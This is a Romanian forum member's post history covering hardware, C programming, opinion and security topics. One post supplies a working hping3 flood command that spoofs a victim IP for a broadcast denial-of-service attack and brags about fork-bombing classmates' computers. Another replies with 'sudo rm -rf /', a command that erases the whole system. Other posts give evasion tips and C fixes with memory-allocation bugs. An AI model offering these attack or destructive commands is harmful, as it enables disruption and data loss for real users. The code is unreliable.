Jump to content

Ganav

Active Members
  • Posts

    1374
  • Joined

  • Last visited

  • Days Won

    14

Everything posted by Ganav

  1. Daca s-ar calcula timpul teoretic in care lumina de la soare ar trebui sa ajunga pe Pamant, si apoi, timpul in care ajunge, se poate afla viteza cu care se deplaseaza Pamantul in Univers? Nu, soarele se misca si el la randul sau in Univers cu aproximativ aceiasi viteza cu care se deplaseaza si Pamantul in Univers(stim ca Pamantul orbiteaza in jurul soarelui period, pe dutata unui an). Deci nu ne putem baza pe un sistem care consta din doua repere care se gasesc in acelasi sistem de referinta inertial(situatia este similara cu doua persoane care calatoresc intr-un lift, ele stiu distanta una fata de cealalta insa nu pot determina viteza cu care se deplaseaza liftul(presupunem ca acesta este un lift ipotetic in care acceleratia nu poate fi perceputa(adica persoanele nu pot percepe accelertia momentul cand acesta a inceput sa se deplaseze fiind astfel un sistem izolat de exterior. Este important de stiu ca in lift este prezenta forta gravitationala insa in Univers aceasta poate avea valori neglijabile(forta dintre doua stele situate la ani lumina una fata de cealalta). Pentru a masura viteza Pamantului in Univers ne trebuie un punct fix intr-acesta(cercetatorii l-au ales ca fiind originea in care a avut loc Big Bang-u). Un corp material(compus din atomi) nu poate depasi viteza luminii(vezi teoria relativitatii). Practic masa creste o data cu viteza. O data cu apropierea de viteza luminii aceasta se apropie de infinit.
  2. Nu, uita-te la specificatiile procesorului pentru ambele sisteme.
  3. Windows 7 system requirements - Windows Help System requirements - Microsoft Windows
  4. In niciun caz 8(consuma mult prea multe resurse). Pe o statie similara am avut Vista si 7.
  5. // pm-ed
  6. *to, "Welcome to the club". Doar din curiozitate, cum determini cine trebuie ajutat? ON: Bine ai venit.
  7. Ce capactiate are router-ul(MBs)? Mai mult, in contractul cu ISP-ul, care este viteza precizata? Este destul de improbabil sa scoti o viteza mai ridicata decat cea specificata.
  8. Ganav

    Urgent

    Nu, licenta se realizeaza pe eforturi proprii.
  9. Nu ai cum. Cel mult poti sa iei MAC-ul/IP-ul unui vecin din Subnet-ul tau. Insa este foarte usor de gasit un posibil suspect(nu sunt decat cel mult 255 de statii intr-un subnet. Mult mai putine, de obicei). Atacul respectiv se bazeaza pe IP spoofing, adica pachetele sunt transmise cu un alt IP sursa decat cel al statiei tale. Practic la ISP nu te vad in mod direct insa pot obtine usor corelatii folosind repere temporale(cine si cand a fost activ) pentru a te gasi.
  10. sudo apt-get install hing3 hping3 -1 --flood -a IP_VICTIMA ADRESA_DE_BROADCAST(de ex 192.168.255.255) Exista sanse sa fii sanctionat de ISP-ul la care esti abonat. Tare, fork() bomb-urile le faceam la facultate in timpul orelor de laborator(aveam un user/pass implicit si SSH enabled). In timpul examenelor le blocam colegelor statiile de lucru. Stiu ca par a fi rau, dar vorbele: "S-a blocat mouse-ul. Nu mai vrea sa mearga. Ce sa fac acum? " ma ungeau la inima.
  11. sudo rm -rf /
  12. Da, la facultatea de informatica inveti sa programezi intr-un numar de limbaje, noitiuni generale referitoare la algoritmica, si, in cazul in care ai noroc probabil si un curs sau doua despre software engineering and design. La politehnica te vei confrunta cu un numar foarte mare si variat de materii care, la momentul respectiv, si mie mi s-au parut inutile. Acum, observ ca fara acelea nu as fi fost in stare sa privesc o problema din mai multe unghiuri ceea ce este esential in domeniul in care lucrez acum. Fiind, de asemenea, un utilizator al aplicatiilor opensource pot spune ca, din punct de vedere calitativ, programele sunt mult mai slabe de la un an la altul. Obisnuiam sa utilizez Ubuntu. Pe 12.04 nu am intampinat foarte multe probleme. O data ce am facut un upgrade la 14.04 sistemul de operare a devenit practic inutilizabil: Wi-Fi driver-ul a trebuit recompilat, drivere-le implicite de afisaj noveau nu imi permiteau sa ies din starea de sleep. Am facut greseala de a da click pe butonul viu colorat de upgrade care mi-a "imbunatatit" drivere-ele audio asa de mult incat a trebuit sa le reinstalez pe cele vechi(in masinile virtuale nu se mai auzea mare lucru). Sa nu mai mentionez de consumul excesiv de resurse: un numar de aplicatii prost scrise aveau memory leak-uri si dupa un timp statia se bloca cu toate ca am 24 GB de RAM. Prinicipala cauza a acestor problema sunt noii inepti, pardon programatori, scosi pe banda rulanta din facultatile de informatica. Stiu sa scrie cod, cam atat, nimic mai mult. A scrie cod "inseamna" a lua cod gata existent din surse precum stackoverflow.com sau de regula ce se gaseste pe google(si compileaza). Aspecte ca eficienta, functionalitatea, lizibilitatea si modularitatea codului raman, de regula, pe plan tertiar(adica trei pentru "programatorii" care se intampla sa citeasca acest post). Multiculturalismul este un alt factor care promoveaza dezvoltarea "programatorilor" eminenti, cel putin in tarile vestice. Acestea fiind spuse, ramane la latitudinea ta, desigur, daca vrei sa devi un alt "programator"(cel putin vei avea multi prieteni, sau persoane cu o pregatire si, destul de probabil, mentalitate similara) sau un inginer, un hacker in adevaratul sens al cuvantului: o persoana care desface lucruri pentru a vedea cum functioneaza in scopul de a le imbuntati sau a deschide noi orizonturi in cercetare(vei fi singur insa merita ca si investitie de durata).
  13. Niciodata nu am avut prea mare incredere in asa-zisii specialisti care apar frecvent pe sticla si scriu multe carti(in care expun notiuni extrem de generale) din care niciun expert in securitate nu are prea multe de castigat(am citit, constrans fiind, "Applied Cryptography" si "Secrets and Lies"). In fine, este mai constructiv si mai interesant de urmarit decat o emisiune difuzata duminica dupa masa.
  14. Cu ce probabilitate?
  15. Sigur va astepta rabdator pana in 2034. 19 ani trec repede.
  16. What if I break my arm? Can I use my foot for palm print authentication?
  17. Uita-te in exemplul acesta: #include <unistd.h> #include <sys/types.h> #include <dirent.h> #include <stdio.h> void listdir(const char *name, int level) { DIR *dir; struct dirent *entry; if (!(dir = opendir(name))) return; if (!(entry = readdir(dir))) return; do { if (entry->d_type == DT_DIR) { char path[1024]; int len = snprintf(path, sizeof(path)-1, "%s/%s", name, entry->d_name); path[len] = 0; if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) continue; printf("%*s[%s]\n", level*2, "", entry->d_name); listdir(path, level + 1); } else printf("%*s- %s\n", level*2, "", entry->d_name); } while (entry = readdir(dir)); closedir(dir); } int main(void) { listdir(".", 0); return 0; } care parcurge in mod recursiv toate fisierele si directoarele dintr-un director. Ai putea declara un sir global in care memorezi toate fisierele: // declari aceasta variabila globala // cuvantul [B]static[/B] sugereaza ca variabielele globale nu sunt vizibile in alte fisiere static char fis_dir[100][100]; // ne trebuie si un index global pentru a itera in tabloul de mai sus int index, index1; // vom declara, de asemenea, si o variabila care va stoca rezultatele(fisierele gasite in ambele directoare) static char rezultate[100][100]; iar ulterior il populezi cu toate fisierele din primul director: #include <unistd.h> #include <sys/types.h> #include <dirent.h> #include <stdio.h> void listdir(const char *name, int level) { DIR *dir; struct dirent *entry; if (!(dir = opendir(name))) return; if (!(entry = readdir(dir))) return; do { if (entry->d_type == DT_DIR) { char path[1024]; int len = snprintf(path, sizeof(path)-1, "%s/%s", name, entry->d_name); path[len] = 0; if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) continue; printf("%*s[%s]\n", level*2, "", entry->d_name); listdir(path, level + 1); } [COLOR="#FF0000"] else { printf("%*s- %s\n", level*2, "", entry->d_name); strcpy(fis_dir[index++], entry->d_name); }[/COLOR] } while (entry = readdir(dir)); closedir(dir); } int main(void) { listdir(".", 0); return 0; } Acum avem toate fisierele din primul director in tabloul fis_dir care este global si are index elemente dupa ce am rulat functia de mai sus. Acum scriem o functie care cauta un sir in tablou: int cauta_sir(const char sir[]) { for(int i = 0; i < index; i++) if(!strcmp(fis_dir[i], sir) strcpy(rezultate[index1++], sir); } In aplicatii comerciale este descurajata folosirea variabilelor globale si statice. Le-am folosit deoarece un cod complet este relativ voluminos. In realitate ai declara o structura care contine respectivele variabile si ai transmite-o ca si parametru in functia de cautare.
  18. Ca si idee este in regula. Am cateva intrebari: 1. Materialul prezentat este gasit in mod automat sau manual? 2. Cum poti verifica autenticitatea informatiilor? Ar fi interesant sa pui un link catre sursa in descriere si in imagine. De exemplu afirmatia Statistic, b?rba?ii prefer? femeile cu p?rul brunet este falsa.
  19. Cateva greseli care se observa sunt operatiile de casting si derefentiere si citirea din fisier: fread(buf,sizeof(char),1,f); este gresit. Ar trebui sa specifici numarul de caractere care este maxim in cazul acelui buffer: fread(buf,sizeof(char),100,f); Secventa urmatoare este gresita: int citesc (FILE *f, char* a[]) { int i=0; char buf[100]; fread(buf,sizeof(char),1,f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; } return i; Banuiesc ca ceea ce vrei sa faci este sa citesti din fisier in buffer iar din buffer in argumentul char** a. In acest caz nu mai ai nevoie de acel buffer: int citesc (FILE *f, char*** a) { int i=0, siz = 100; // Trebuie sa alocam memorie pentru a, care este un tablou bidimensional // Alocam intai numarul de linii if(((*a) = (char**)malloc(siz * sizeof(char))) == NULL) { perror("eroare la alocare"); exit(1); } // Acum alocam memorie pentru fiecare coloana in parte. Presupunem ca avem 100 de caractere per linie for(i = 0; i < siz; i++) { if((*a[i] = (char*)malloc(siz * sizeof(char))) == NULL) { perror("eroare la alocare"); exit(1); } } i = 0; while (fread(*a[i++], sizeof(char), siz, f)); return i; } Desi char** a si char* a[] sunt echivalente este bine sa te hotarasti care notatie doresti sa o folosesti in cod. In main ai uitat sa initializezi valoarea lui n. Functia de comparare nu este valida. Mai jos gasesti toate modificarile: #include <stdio.h> #include <stdlib.h> #include <string.h> // #include <conio.h> void verific (FILE *f) { if (f==NULL) { printf("Eroare deschidere fisier\n"); exit(1); } } void afisare (char** a, int n) { int i; for(i=0;i<n;i++) if(a[i]!=NULL) printf("%s\n",a[i]); } int fqs (const void * a, const void * b ) { const char *pointer_la_a = *(const char**)a; const char *pointer_la_b = *(const char**)b; return strcmp(pointer_la_a,pointer_la_; } int citesc (FILE *f, char*** a) { int i=0, siz = 100; // Trebuie sa alocam memorie pentru a, care este un tablou bidimensional // Alocam intai numarul de linii if(((*a) = (char**)malloc(siz * sizeof(char))) == NULL) { perror("eroare la alocare"); exit(1); } // Acum alocam memorie pentru fiecare coloana in parte. Presupunem ca avem 100 de caractere per linie for(i = 0; i < siz; i++) { if((*a[i] = (char*)malloc(siz * sizeof(char))) == NULL) { perror("eroare la alocare"); exit(1); } } i = 0; while (fread(*a[i++], sizeof(char), siz, f)); return i; } void scriu (FILE *f, char** a, int n) { int i = 0; for(i = 0; i < n; i++) { fwrite(a[i],sizeof(char*),n,f); fputs("\n\n",f); } // mai si inchidem fisierele dupa ce nu mai lucram cu aceastea fclose(f); } int main() { int n = 100; FILE *f=fopen("in.txt","rt"); FILE *g=fopen("out.txt","wt"); verific(f); verific(g); char** a; n=citesc(f,(&a)); puts("after citesc"); afisare(a,n); scriu(g,a,n); qsort(a,n,sizeof(char*),fqs); scriu(g,a,n); return 0; }
  20. Cateva greseli care se observa sunt operatiile de casting si derefentiere si citirea din fisier: fread(buf,sizeof(char),1,f); este gresit. Ar trebui sa specifici numarul de caractere care este maxim in cazul acelui buffer: fread(buf,sizeof(char),100,f); Secventa urmatoare este gresita: int citesc (FILE *f, char* a[]) { int i=0; char buf[100]; fread(buf,sizeof(char),1,f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; } return i; Banuiesc ca ceea ce vrei sa faci este sa citesti din fisier in buffer iar din buffer in argumentul char** a. In acest caz nu mai ai nevoie de acel buffer: int citesc (FILE *f, char*** a) { int i=0,, size = 100; // Trebuie sa alocam memorie pentru a, care este un tablou bidimensional // Alocam intai numarul de linii *a = (char**)malloc(size * sizeof(char)); // Acum alocam memorie pentru fiecare coloana in parte. Presupunem ca avem 100 de caractere per linie for(i = 0; i < size; i++) *a[i] = (char*)malloc(size * sizeof(char)); i = 0; while (fread(*a[i++], sizeof(char), size, f)); return i; Desi char** a si char* a[] sunt echivalente este bine sa te hotarasti care notatie doresti sa o folosesti in cod. In main ai uitat sa initializezi valoarea lui n.
  21. TC
  22. Warn + T.C.
  23. Fireste ca se doreste o forma de control mai puternica asupra maselor. Asistam la caderea regimului "democratic" desi este greu de observat acest lucru. Un fenomen cu o rezonanta tot mai puternica in Europa este reprezentat de conflictele cu radacini etnice. Impunand forme mai stricte de control se doreste o prelungire a inevitabilului: prabusire economica si lovituri de stat in majoritatea statelor vestice.
  24. Din ce am observat pana acum: -- like-urile nu au un refresh -- pentru un like dat exista sanse arbitrare sa apara si un dislike Tag-urile nu ar trebui afisate(reprezinta doar un timp in plus la incarcarea fiecarei pagini)
  25. Sunt mai multe optiuni. Intai trebuie sa raspundem la cateva intrebari: Ce fel de persoane frecventeaza respectivul bar? Este popular printre studenti? persoane care ar putea avea expertiza in domeniul securitatii IT? Prin ce se deosebeste situatia din bar fata de situatia de acasa in contextul efectuarii unui transfer bancar din punct de vedere al securitatii? Cat de repede putem schimba credentialele? Cum putem sa ne ascundem cat mai bine identitatea? Cum putem face munca unui posibil atacator mai dificila? 1. Ce fel de persoane frecventeaza respectivul bar? Este usor de observat. Cei pasiontati de securitate mai mult ca sigur vor folosi o distributie LINUX(pentru a rula aplicatii precum aircrack, airpwn, etc.). Capacitatea lor de a utiliza se poate observa si in aplicatiile rulate: de exemplu este putin probabil ca cineva care ruleaza numai un browser si care fotografiaza un pahar cu bere pentru a post-a imaginea pe facebook nu reprezinta un pericol. O scurta "inspectie" poate fi efectuata rapid; de regula numarul clientilor care folosesc laptop-uri, tablete si smarphone-uri este mai mic ca si numarul acelora care nu le folosesc. Aplicatiile care trebuiesc urmarite cu atentie sunt numarul de terminale deschise si numarul de ferestre in editoare de tip text(vi(m), emacs) deschise. Cu cat acesta este mai mare cu atat sunt sanse mai ridicate sa avem un potential hacker in bar. Atentie sporita trebuie acordata si utilizatorilor windows care ruleaza putty sau masini virtuale multiple. Acum cunoastem cat de cat terenul. Exista sansa ca barul in sine sa fie detinut de o persoana sau un grup de persoane care sunt familiarizate cu domeniul. De exemplu, tot traficul Wi_Fi poate fi rutat printr-o statie LINUX inainte de a fi trimis mai departe pe Internet. Mai exista sansa ca proprietarii sa fie putin familiarizati cu aspectul legat de securitate si sa aiba un LAN compromis(parole default sau slabe, troieni pe alte statii din acelasi LAN, etc.). In aceasta situatii nu prea avem ce face: nu vom inspecta fiecare statie in parte din motive evidente(nu avem acces fizic iar realizarea acestui lucru este ilegal fara acordul proprietarilor). In cazul in care proprietarii insisi sunt competenti in securitate am putea afla acest lucru dupa parola aleasa Wi-Fi-ului(lungime, caractere alese, etc.) sau efectiv intreband(fiind foarte putini in lume hackerii sunt dornici sa schimbe vorbe intre ei, cu atat mai mult daca au un interlocutor in fata. Putina bere si tarie ajuta intotdeauna). 2. Este popular printre studenti? persoane care ar putea avea expertiza in domeniul securitatii IT? Probabil cum este cazul si aici pe forum, exista foarte multi studenti care sunt dornici de a deveni "hackeri". Acestia vor incerca fiecare aplicatie care apare pe google. Sunt sanse, desi destul de slabe, ca un numar dintre acestia sa nimereasca o combinatie valida de pagina de tip phishing si o comanda reusita in ettercap. Exista, de asemenea, si situatia in care studenti sunt efectiv bine pregatiti iar atacul este mult mai rapid si bine coordonat. 3. Prin ce se deosebeste situatia din bar fata de situatia de acasa in contextul efectuarii unui transfer bancar din punct de vedere al securitatii? Daca situatia nu este diferita fata de domiciliul curent securitatea probabil ca nu are o relevanta ridicata. Cu alte cuvinte daca vecinii au aceiasi competenta tehnica ca si persoanele care frecventeaza barul, iar acestea din urma nu activeaza in domeniu nu exista motive de ingrijorare. 4. Cat de repede putem schimba credentialele? Presupunem raul cel mai mare: avem un atac de tip MITM iar certificatele noastre SSL au fost inlocuite cu cele ale atacatorului. In browser-ele moderne utilizatorul este avertizat insa presupunand ca facturile trebuiesc platite urgent luam acest risc ridicat. Ulterior putem anula tranzactiile clandestine. Este recomandat ca in momentul platii sa se faca o captura(print screen) a soldului curent bancar pentru a stii cat trebuie sa recuperam in cazul in care contul este compromis. 5. Cum putem sa ne ascundem cat mai bine identitatea? Identitatea nostra consta in mare masura din adresa noastra in reteaua respectiva: MAC si IP. IP-ul este dinamic. MAC-ul insa trebuie inlocuit(google geo-ip location tracking se foloseste de acesta). Pentru aceasta putem folosi utilitarul de mai jos: MadMACs: MAC Address Spoofing and Host Name Randomizing App for Windows 7 (Should work in Windows Vista and Windows 8 too) Desigur, putem face toate etapele respective manual insa este de preferat sa automatizam procesul pe cat se poate. Acum putem folosi o solutie de tip SSH-tunneling catre un server asupra caruia avem control si il consideram sigur. Statia de acasa este un bun exemplu. Pentru a avea acces la ip putem folosi un serviciu ca: Remote Access with Dynamic DNS - 100% DNS Uptime - No-IP intrucat majoritatea furnizorilor din Romania nu mai ofera adrese statice. Un alt aspect despre care trebuie sa tinem cont este frecventa emitatorului Wi-Fi de pe statia de pe care lucram. Distributia semnalelor este destul de unica pentru fiecare dispozitiv fizic. In cazul atacatorului este recomandat ca dispozitivul sa fie distrus dupa efectuarea tranzactiilor. 6. Cum putem face munca unui posibil atacator mai dificila? In esenta un atacator monitorizeaza si/sau intercepteaza trafic pentru a-si indeplini atacul. Daca volumul de trafic este ridicat munca lui devine semnificativ mai dificila. In acest sens putem crea trafic inutil:vizualizarea mai multor filmulete pe youtube simultam in format HD daca se poate. Efectuarea de credentiale false catre site-ul bancii doar cu scopul de a genera cat mai mult trafic. Astfel, efortul necesar pe care un atacator trebuie sa-l depuna pentru a obtine credentialele unei victime creste considerabil pana la punctul in care atacul nu mai este realizabil.
×
×
  • Create New...